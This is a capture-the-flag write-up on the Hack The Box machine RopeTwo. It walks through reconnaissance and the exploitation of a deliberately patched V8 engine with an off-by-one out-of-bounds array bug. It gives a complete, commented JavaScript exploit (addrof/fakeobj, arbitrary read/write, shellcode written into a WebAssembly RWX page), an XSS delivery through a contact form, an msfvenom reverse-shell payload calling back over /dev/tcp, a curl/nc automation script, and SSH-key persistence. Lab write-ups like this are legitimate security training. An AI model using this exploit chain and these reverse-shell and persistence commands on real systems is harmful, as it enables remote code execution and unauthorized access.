Intelligence collection
As usual, I start with scanning the ports. Needless to say that on such a high-level VM, all ports must be scanned (TCP
). The best way to do this is use a fast port scanner called masscan
.
masscan
Starting masscan 1.0.5 (http://bit.ly/14GZzcT) at 2020-12-21 19:41:59 GMT
— forced options: -sS -Pn -n –randomize-hosts -v –send-eth
Initiating SYN Stealth Scan
Scanning 1 hosts [131070 ports/host]
Discovered open port 8060/tcp on 10.10.10.196
Discovered open port 22/tcp on 10.10.10.196
Discovered open port 8000/tcp on 10.10.10.196
Discovered open port 9094/tcp on 10.10.10.196
Discovered open port 5000/tcp on 10.10.10.196
As you can see, only five TCP ports are open. Let’s scan them thoroughly with Nmap.
nmap
…
PORT STATE SERVICE VERSION
22/tcp open ssh OpenSSH 7.9p1 Ubuntu 10 (Ubuntu Linux; protocol 2.0)|
|
|
|_
5000/tcp open http nginx|_http-favicon:
|
|_
|
| / /
| /
|_/
|
|_Requested
|_http-trane-info:
8000/tcp open http Werkzeug httpd 0.14.1 (Python 3.7.3)|
|_
|_http-server-header:
|_http-title:
8060/tcp open http nginx 1.14.2|
|_
|_http-server-header:
|_http-title:
9094/tcp open unknown
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel
…
Hmm… SSH, three web servers, and an unknown port. Let’s see what the browser says.
Expectedly, GitLab is running on port 5000 (as the Nmap report states).
On port 8000, a Python Werkzeug (WSGI) web server runs a simple V8 development site. As you are likely aware, V8 is Google’s open-source JavaScript engine used in the Chrome browser and other projects. More details are available on its official website.
I scroll the page down and see the link http://gitlab.rope2.htb:5000/root/v8 to the source code.
The 404
message is displayed on port 8060. Port 9094 refuses to answer my requests.
Let’s add the found domain to /
, as always:
10.10.10.196 rope2.htb gitlab.rope2.htb
Foothold
Since I am offered to examine the source code, I gladly use this opportunity.
I see the V8 source code and a separate branch created by the author of the VM: it contains one commit with minor changes. Apparently, these changes are supposed to help me. Only four files have been altered; so, let’s take a closer look at them.
Two functions have been added to the headers file: ArrayGetLastElement
andArraySetLastElement
. Both of them are intended for work with data arrays. CPP is a macro that adds these functions to the metadata array.
www
For more information, see the Builtins section in the documentation.
Installing the GetLastElement
and SetLastElement
prototypes as built-in functions.
Defining function calls.
This the most interesting part: source code of the functions. The GetLastElement
function converts an array into FixedDoubleArray
and returns its last element: array[
. The SetLastElement
function writes the received value to the last element of array[
with the float
type. Now you can try to guess what’s the catch.
Since I am not an expert in the V8 engine, I had to look for help on the Internet. Using key expressions from the above source code, I quickly found an excellent writeup by Faraz Abrar: Exploiting v8: *CTF 2019 oob-v8; the altered commit in it is almost identical to the one found on RopeTwo.
To bad, my hopes of an easy victory quickly faded. Since the writeup describes the process in detail, I will just briefly list the key points and specify the main differences between the two cases.
The main difference between the commits is that in the writeup, only one function is responsible for reading and writing elements to the array. This function performs reading or writing operations depending on the number of variables passed to it.
However, both commits contain the same vulnerability. Have you guessed it already? Since the array indexing starts with 0, array [
makes it possible to read and write one element outside of the array boundaries. Now I have to figure out how to exploit this feature.
Deploying test system
First, I download the diff
file.
I rename it into v8.
and add an extra line break in the end to avoid errors in git
.
Then I execute the following commands (the test system is running on Ubuntu 19.04):
artex@ubuntu:~/tools$ git clone https://chromium.googlesource.com/chromium/tools/depot_tools.gitartex@ubuntu:~/tools$ echo "export PATH=/home/artex/depot_tools:$PATH" >> ~/.bashrcartex@ubuntu:~/tools$ source ~/.bashrcartex@ubuntu:~$ fetch v8artex@ubuntu:~$ cd v8artex@ubuntu:~/v8$ ./build/install-build-deps.shartex@ubuntu:~/v8$ git checkout 458c07a7556f06485224215ac1a467cf7a82c14bartex@ubuntu:~/v8$ gclient syncartex@ubuntu:~/v8$ git apply --ignore-space-change --ignore-whitespace ../v8.diffartex@ubuntu:~/v8$ ./tools/dev/v8gen.py x64.releaseartex@ubuntu:~/v8$ ninja -C ./out.gn/x64.release # Release versionartex@ubuntu:~/v8$ ./tools/dev/v8gen.py x64.debugartex@ubuntu:~/v8$ ninja -C ./out.gn/x64.debug # Debug version
Important: the compilation of each release may take a few hours!
Writing exploit
First of all, I have to ‘leak the array address. For this purpose, I am going to write a script based on Faraz’s writeup. The idea is to replace the obj_array_map
pointer of obj_array
with the float_array_map
pointer of float_array
because the Map
structures are different in these two objects.
The exploitation is based on the following concept: a request for the zero index in float_array
returns the value of an array element, while a request for the zero index inobj_array
returns a pointer to an object (that is subsequently converted into a value). So, if you substitute the Map
structure in obj_array
with the Map
structure from float_array
and address the zero index, you’ll get not the value of the array element, but an object pointer in the float
type! The detected vulnerability allows to substitute Map
because it’s located right behind the array elements in the JSArray structure.
var buf = new ArrayBuffer(8);var f64_buf = new Float64Array(buf);var u64_buf = new Uint32Array(buf);function ftoi(val) { f64_buf[0] = val; return BigInt(u64_buf[0]) + (BigInt(u64_buf[1]) << 32n);}function itof(val) { u64_buf[0] = Number(val & 0xffffffffn); u64_buf[1] = Number(val >> 32n); return f64_buf[0];}var obj = {"A":1};var obj_arr = [obj];var float_arr = [1.1, 1.2, 1.3, 1.4];var obj_arr_map = obj_arr.GetLastElement();var float_arr_map = float_arr.GetLastElement();function addrof(in_obj) { obj_arr[0] = in_obj; obj_arr.SetLastElement(float_arr_map); let addr = obj_arr[0]; obj_arr.SetLastElement(obj_arr_map); return ftoi(addr); }var arr = [5.5, 5.5, 5.5, 5.5];console.log(addrof(arr).toString(16));console.log(%DebugPrint(arr));
I run the script and get… the SEGV_ACCERR
error message:
artex@ubuntu:
Received signal 11 SEGV_ACCERR 34b4080406f8
====
[
[
[
[
[
Segmentation fault (core dumped)
The --allow-natives-syntax
key allows to execute the %DebugPrint(
function that displays debugging information for V8 objects.
At some point, I start wondering what happens if I replace the diff file from the HTB machine with oob.diff. If you want to repeat my experiment, create a clone of the RopeTwo VM and run the following commands:
artex@ubuntu:
artex@ubuntu:
artex@ubuntu:
artex@ubuntu:
But prior to doing so, you have to make the following changes in oob.diff because in the new version, the structure and content of the files are slightly different.
diff --git a/ src/ init/ bootstrapper. cc b/ src/ init/ bootstrapper. cc
index b027d36..ef1002f 100644--- a/src/init/bootstrapper.cc+++ b/src/init/bootstrapper.cc@@ -1668,6 +1668,8 @@ void Genesis::
diff --git a/ src/ builtins/ builtins-definitions. h b/ src/ builtins/ builtins-definitions. h
index 0447230..f113a81 100644--- a/src/builtins/builtins-definitions.h+++ b/src/builtins/builtins-definitions.h@@ -319,6 +319,7 @@ namespace internal {
TFJ(ArrayPrototypePop, kDontAdaptArgumentsSentinel) \
/* ES6 #sec-array.prototype.push */ \
CPP(ArrayPush) \
+ CPP(ArrayOob) \ TFJ(ArrayPrototypePush, kDontAdaptArgumentsSentinel) \
/* ES6 #sec-array.prototype.shift */ \
CPP(ArrayShift)
Also, in diff
, you have to change length()
into length().
:
+ uint32_t length = static_cast<uint32_t>(array->length().Number());
Expectedly, after changing names of functions in the script to oob
and running it, I got the same result. This means that the V8 engine itself has been altered.
It must be noted that the OOB exploit uses V8
, while the RopeTwo VM – V8
. Accordingly, you cannot simply run this exploit and get the much-desired shell.
To solve this problem, I had to read tons of documentation. Finally, I came to an understanding: in the new version of V8, pointer compression is implemented differently.
More information on this will be provided below. For now, it’s sufficient to understand that the elements of float_array
in the new version are 64-bit, while the elements of obj_array
are 32-bit. Therefore, to make the array sizes match, I have to add one more element to obj_array
.
So, I change var
into var
artex@ubuntu:
41b08002120000000x193108086721 <
There are no more Segmentation Fault messages, but the addresses don’t match. And you know why? Because, by adding one more element to the array, I changed its size, and the SetLastElement
function writes the value to a wrong place (as you remember, I need to replace the pointer with the Map
object located in the memory right after the array elements).
Fortunately, this can be fixed by adding the following line: obj_arr.
.
artex@ubuntu:
80403850808671d0x0c2b0808671d <
5.5,5.5,5.5,5.5
Bingo! Now the 32 least-significant bits match! The most-significant bits don’t match – as said above, this is due to the pointer compression.
With your kind permission, I won’t explain here what is pointer compression: for detailed information, see another article by Faraz Abrar.
The scheme below shows how an array of objects and an array of floats are represented in the memory.
This mechanism (i.e. pointer compression) boosts the performance of the V8 engine. The 32 most-significant bits in the heap always remain the same at each start of the engine. Therefore, the developers decided that it makes no sense to use 64-bit pointers since it’s just waste of resources and introduced the so-called isolate root: the 32 most-significant bits of the address that are always the same are stored in the R13 register (the root register). Therefore, to get the correct 64-bit address, you in theory have to query the 32 most-significant bits in R13. But in fact, this isn’t necessary.
There is a way to get out of the 32-bit heap space: you create an ArrayBuffer object and overwrite its backing_store
pointer. This pointer is allocated by the PartitionAlloc
function that works with nonheap addresses. Therefore, using a DataView
object with the overwritten backing_store
pointer, you can get an arbitrary reading and writing primitive!
If you invert the logic of the addrof
function (i.e. swap the object array and the float array), you will get the fakeobj
function that can be used to read arbitrary memory addresses and write data to them:
function fakeobj(addr) { float_arr[0] = itof(addr); float_arr.SetLastElement(obj_arr_map); let fake = float_arr[0]; float_arr.SetLastElement(float_arr_map); return fake;}var a = [1.1, 1.2, 1.3, 1.4];var float_arr = [1.1, 1.2, 1.3, 1.4];var float_arr_map = float_arr.GetLastElement();var crafted_arr = [float_arr_map, 1.2, 1.3, 1.4];console.log("0x"+addrof(crafted_arr).toString(16));var fake = fakeobj(addrof(crafted_arr)-0x20n);
Let’s combine this listing with the above code and see what happens.
Running the script with debugger.
artex@ubuntu:
pwndbg>
-
0x804038508086911
V8 version 8.5.0 (candidate)d8>
0x18c108086911 <
[
-
pwndbg>
0x18c1080868e8: 0x0000000808040a3d 0x080406e908241909 <– zero element with float_arr_map
0x18c1080868f8: 0x3ff3333333333333 0x3ff4cccccccccccd
0x18c108086908: 0x3ff6666666666666 0x080406e908241909
0x18c108086918: 0x00000008080868e9 0x080869110804035d
0x18c108086928: 0x0804097508040385 0x0808691100000002
Pointer tagging is a mechanism used in V8 to distinguish between the double, SMI (small integer), and pointer types. Because of the alignment, pointers usually point to memory locations multiple of 4 and 8, which means that the last 2-3 bits are always zero. V8 uses this feature: the last bit is set to 1 to indicate a pointer. Therefore, to get the original address, you have to subtract one from the tagged address.
Let’s try to write the second element (i.e. pointer to elements) and read it:
crafted_arr[2] = itof(BigInt(0x18c1080868f0)-0x10n+1n);"0x"+ftoi(fake[0]).toString(16);
Too bad, another Segmentation Fault message…
I had played with the debugger until the new pointer size came to my mind. The float
array is 64-bit; therefore, when the array map is replaced, the second element of the 32-bit obj
array appears in place of the first element in the float
array. Accordingly, if you write the address to the first index of the float
array, you will get a reference to elements of the obj
array.
So, all you have to do is replace crafted_arr[
with crafted_arr[
– and everything will work fine. To read the value of the zero element in the fake
array, you must change the offset of the elements from 0x10
to 0x08
(because the pointer is now 32-bit). Let’s try this approach.
d8>
1.3447153912017e-310-
pwndbg>
0x18c1080868e8: 0x0000000808040a3d 0x080406e908241909
0x18c1080868f8: 0x000018c1080868e9 0x3ff4cccccccccccd <– write the address for reading
0x18c108086908: 0x3ff6666666666666 0x080406e908241909
0x18c108086918: 0x00000008080868e9 0x080869110804035d
0x18c108086928: 0x0804097508040385 0x0808691100000002d8>
“0x80406e908241909” <– read the value it points to
Below is a brief explanation of how it works. Let’s create a float array and examine its debugging information. To get a detailed output of %DebugPrint(
, including information on addresses, I use the debug V8 engine release.
pwndbg>
Reading symbols from d8…pwndbg>
Starting program: /opt/v8/v8/out.gn/x64.debug/d8 –shell –allow-natives-syntax[
Using host libthread_db library “/lib/x86_64-linux-gnu/libthread_db.so.1”.
var a = [1.1, 1.2, 1.3, 1.4];[
V8 version 8.5.0 (candidate)d8>
d8>
DebugPrint:
-
-
-
-
-
#length:
}
-
0: 1.1
1: 1.2
2: 1.3
3: 1.4
}
…
As you can see, the offset of the elements from the beginning of the JSArray structure is 0x28:
0x274a080c5e51-0x274a080c5e29 == 0x28
Let’s examine the array elements that are located in the memory before the JSArray structure:
pwndbg>
0x274a080c5e28: 0x0000000808040a3d 0x3ff199999999999a
0x274a080c5e38: 0x3ff3333333333333 0x3ff4cccccccccccd
0x274a080c5e48: 0x3ff6666666666666 0x080406e908281909
0x274a080c5e58: 0x00000008080c5e29 0x82e4079a08040551
0x274a080c5e68: 0x7566280a00000adc 0x29286e6f6974636e
The zero element of the array is located at the following address:
index 0 == 0x274a080c5e30 == elements + 0x08
Assume, for instance, that fake_object
is located at 0x274a080c5e30
. If you replace float_arr_map
in fake_object
with obj_arr_map
(the properties
field will be overwritten, but this isn’t critical), the index of the crafted_arr
array will contain a pointer to the elements of fake_object
because the pointers are 32-bit, while elements of the float
array are 64-bit. Accordingly, if you address fake_object[
, you will read the value at the address that you have written to the first index of crafted_arr
.
The scheme below illustrates this concept.
Now you can write and read arbitrary addresses using auxiliary functions (I won’t describe them here, see the full exploit listing with comments at the end of the article).
However, it’s necessary to find a memory area where I can execute my code (rwx). Such an area exists, and the WebAssembly module interacts with it.
WebAssembly (Wasm) is a secure and efficient low-level binary instruction format for the web. A stack-based virtual machine executing instructions in the Wasm binary format can be launched either in the browser environment or in the server environment. Wasm code is a transferable abstract syntactic tree, which ensures faster analysis and more efficient execution in comparison with JavaScript.
I assemble the exploit taking into account all the above-described changes and… get another Segmentation Fault message.
In current implementations of the engine, the rwx area is always located at the same offset from WasmInstanceObject
. In version 7.5.0, this offset was 0x87. Now I have to find out what is the offset in version 8.5.0. So, I write a simple wasm.js script with a wasmInstance object and run it in the debugger:
var code_bytes = new Uint8Array([ 0x00,0x61,0x73,0x6D,0x01,0x00,0x00,0x00,0x01,0x07,0x01,0x60,0x02,0x7F,0x7F,0x01, 0x7F,0x03,0x02,0x01,0x00,0x07,0x0A,0x01,0x06,0x61,0x64,0x64,0x54,0x77,0x6F,0x00, 0x00,0x0A,0x09,0x01,0x07,0x00,0x20,0x00,0x20,0x01,0x6A,0x0B,0x00,0x0E,0x04,0x6E, 0x61,0x6D,0x65,0x02,0x07,0x01,0x00,0x02,0x00,0x00,0x01,0x00]);const wasmModule = new WebAssembly.Module(code_bytes.buffer);const wasmInstance = new WebAssembly.Instance(wasmModule, {});const { addTwo } = wasmInstance.exports;console.log(addTwo(5, 6));%DebugPrint(wasmInstance);
artex@ubuntu:
--skip--
pwndbg>
Using host libthread_db library “/lib/x86_64-linux-gnu/libthread_db.so.1”.[
11
0x2f11082503dcDebugPrint:
--skip--
As you can see, the address of WasmInstanceObject
is 0x2f1108250375
. I locate the script and its PID on the list of processes (ps
) and look for rwx areas in its memory map:
artex@ubuntu:/
b444a6ea000-b444a6eb000 rwxp 00000000 00:00 0
Success! The rwx address is 0xb444a6ea000
. Now I have to find out the address of the pointer that points to this area. For this purpose, I use the following pwndbg command:
pwndbg>
0x2f11082503dc 0xb444a6ea000
The address of the pointer is 0x2f11082503dc
. Calculating the offset:
python
0x68
I insert the computed offset into my script. But there is one more pointer whose offset has changed: backing_store
.
To find it, I have to run the debug release of the V8 engine in the debugger one more time:
artex@ubuntu:
-
pwndbg>
Starting program: /opt/v8/v8/out.gn/x64.debug/d8 –shell –allow-natives-syntax-
d8>
undefinedd8>
DebugPrint:
-
-
-
-
-
--skip--
As you can see, backing_store:
. This allows to calculate the offset (shown below in the red frame). Important: don’t forget about little endian!
So, the offset is 0x14.
Apparently, this is it! Time to try the exploit. I prepare the test payload using the msfvenom
utility. And it displays the string: PWNED!
.
msfvenom
[
[
No encoder or badchars specified, outputting raw payload
Payload size: 64 bytes
Final size of dword file: 194 bytes
0x99583b6a, 0x622fbb48, 0x732f6e69, 0x48530068, 0x2d68e789, 0x48000063, 0xe852e689, 0x00000016,
0x68736162, 0x20632d20, 0x68636522, 0x5750206f, 0x2144454e, 0x57560022, 0x0fe68948, 0x00000005
Below is the final exploit code with comments:
// Auxiliary conversion functions (float to Integer and vice versa)var buf = new ArrayBuffer(8); // 8 byte array buffervar f64_buf = new Float64Array(buf);var u64_buf = new Uint32Array(buf);function ftoi(val) { f64_buf[0]=val; return BigInt(u64_buf[0]) + (BigInt(u64_buf[1]) << 32n);}function itof(val) { // typeof(val) = BigInt u64_buf[0] = Number(val & 0xffffffffn); u64_buf[1] = Number(val >> 32n); return f64_buf[0];}// Create addrof primitivevar obj = {"A":1};var obj_arr = [obj, obj]; // Array consisting of two elements (to get the 64-bit capacity)obj_arr.length = 1; // Set the array size = 1var float_arr = [1.1, 1.2];// Due to the overflow of obj_arr[length] and float_arr[length], reading the pointers to their Mapsvar obj_arr_map = obj_arr.GetLastElement();var float_arr_map = float_arr.GetLastElement();function addrof(in_obj) { // Place the object whose address I need to find out to index 0 obj_arr[0] = in_obj; // Replace the Map of obj array with the Map of float array obj_arr.SetLastElement(float_arr_map); // Get the address by addressing index 0 let addr = obj_arr[0]; // Return back the Map of obj array obj_arr.SetLastElement(obj_arr_map); // Return the address into the BigInt format return ftoi(addr);}function fakeobj(addr) { // Convert the address into float and place it into the zero element of the float array float_arr[0] = itof(addr); // Replace the Map of float array with the Map of obj array float_arr.SetLastElement(obj_arr_map); // Get the "fake" object located at the address passed to the function let fake = float_arr[0]; // Change back the map of float array float_arr.SetLastElement(float_arr_map); // Return the received object return fake;}// This object will be used to read and write data at arbitrary memory addressesvar arb_rw_arr = [float_arr_map, 1.2, 1.3, 1.4];console.log("[+] Controlled float array: 0x" + addrof(arb_rw_arr).toString(16));function arb_read(addr) { // I must use tagged pointers for reading; therefore, I tag the address if (addr % 2n == 0) addr += 1n; // Place fakeobj into the address space where the arb_rw_arr elements are located let fake = fakeobj(addrof(arb_rw_arr) - 0x20n); // 4 elements × 8 bytes = 0x20 // Replace the pointer of arb_rw_arr elements with read_addr-0x08 // The 2nd obj_map index pointing to elements of the "fake" object is located // at the address of the first element in the float array arb_rw_arr[1] = itof(BigInt(addr) - 0x8n); // Address the zero index of the array, read the value at the addr address, // and return it in the float format return ftoi(fake[0]);}function arb_write(addr, val) { // Place fakeobj into the address space where the arb_rw_arr elements are located let fake = fakeobj(addrof(arb_rw_arr) - 0x20n); // 4 elements × 8 bytes = 0x20 // Replace the pointer of arb_rw_arr elements with write_addr-0x08 // The 2nd obj_map index pointing to elements of the "fake" object is located // at the address of the first element in the float array arb_rw_arr[1] = itof(BigInt(addr) - 0x8n); // // Write the value to the zero element in the float format, fake[0] = itof(BigInt(val));}// Arbitrary code compiled in WebAssembly (required to create a wasm_instance)var wasm_code = new Uint8Array([0,97,115,109,1,0,0,0,1,133,128,128,128,0,1,96,0,1,127,3,130,128,128,128,0,1,0,4,132,128,128,128,0,1,112,0,0,5,131,128,128,128,0,1,0,1,6,129,128,128,128,0,0,7,145,128,128,128,0,2,6,109,101,109,111,114,121,2,0,4,109,97,105,110,0,0,10,138,128,128,128,0,1,132,128,128,128,0,0,65,42,11]);var wasm_mod = new WebAssembly.Module(wasm_code);var wasm_instance = new WebAssembly.Instance(wasm_mod);var exploit = wasm_instance.exports.main;// Get the address of wasm_instancevar wasm_instance_addr = addrof(wasm_instance);console.log("[+] Wasm addr: 0x" + wasm_instance_addr.toString(16));var rwx_page_addr = arb_read(wasm_instance_addr + 0x68n); // Permanent offset of the rwx page = 0x68function copy_shellcode(addr, shellcode) { let buf = new ArrayBuffer(0x100); let dataview = new DataView(buf); let buf_addr = addrof(buf); // Get the address of ArrayBuffer let backing_store_addr = buf_addr + 0x14n; // Permanent offset of backing_store=0x14 arb_write(backing_store_addr, addr); // Replace backing_store_addr with addr // Write the shell at backing_store_addr for (let i = 0; i < shellcode.length; i++) { dataview.setUint32(4*i, shellcode[i], true); }}console.log("[+] RWX Wasm page addr: 0x" + rwx_page_addr.toString(16));// msfvenom -p linux/x64/exec -f dword CMD='your_shellcode'var shellcode = new Uint32Array([0x99583b6a, 0x622fbb48, 0x732f6e69, 0x48530068,0x2d68e789, 0x48000063, 0xe852e689, 0x00000016, 0x68736162, 0x20632d20, 0x68636522,0x5750206f, 0x2144454e, 0x57560022, 0x0fe68948, 0x00000005]);// Write reverse shell at the address where rwx_page is locatedcopy_shellcode(rwx_page_addr, shellcode);// Call wasm_instance with the reverse shellexploit();
Running the test exploit:
artex@ubuntu:
[
[
[
PWNED!
It’s working!
And the last step is to figure out how to run it on a remote host.
The only interactive element on the website is the feedback form at http://
. Since V8 is a JS engine, I have to find a way to feed my JavaScript to it. So, I launch an HTTP server (python
) and enter in all fields of the form:
<script src="http://10.10.xx.xx:8070/v8.js"></script>
Success! I get a request from the server. After some experimentation, I find out that the Message field triggers the script execution.
I generate a combat payload containing the reverse shell and insert it into the script.
msfvenom -p linux/x64/exec -f dword CMD='bash -c "bash -i >& /dev/tcp/10.10.xx.xx/7090 0>&1"'
I put the script into the folder from where my web server has been launched, run netcat (nc
), and send the form with the script request in the Message
field.
Finally, I have got a shell!
To automate the process, I write a few strings in bash; the resultant file should be put into the folder containing the script.
python -m http.server 8070 &
curl -d 'name=&subject=&content=%3Cscript+src%3D%22http%3A%2F%2F10.10.xx.xx%3A8070%2Fv8.js%22%3E%3C%2Fscript%3E' -L http://10.10.10.196:8000/contact &
nc -lnvp 7090
Too bad, the session lasts no more than a minute; apparently, a timeout is triggered on the server. To get a stable shell, you have to add your SSH key to chromeuser:
mkdir /home/chromeuser/.ssh
echo 'your_ssh_key'>>/home/chromeuser/.ssh/authorized_keys
Hopefully, the article was interesting to read and useful for practical purposes!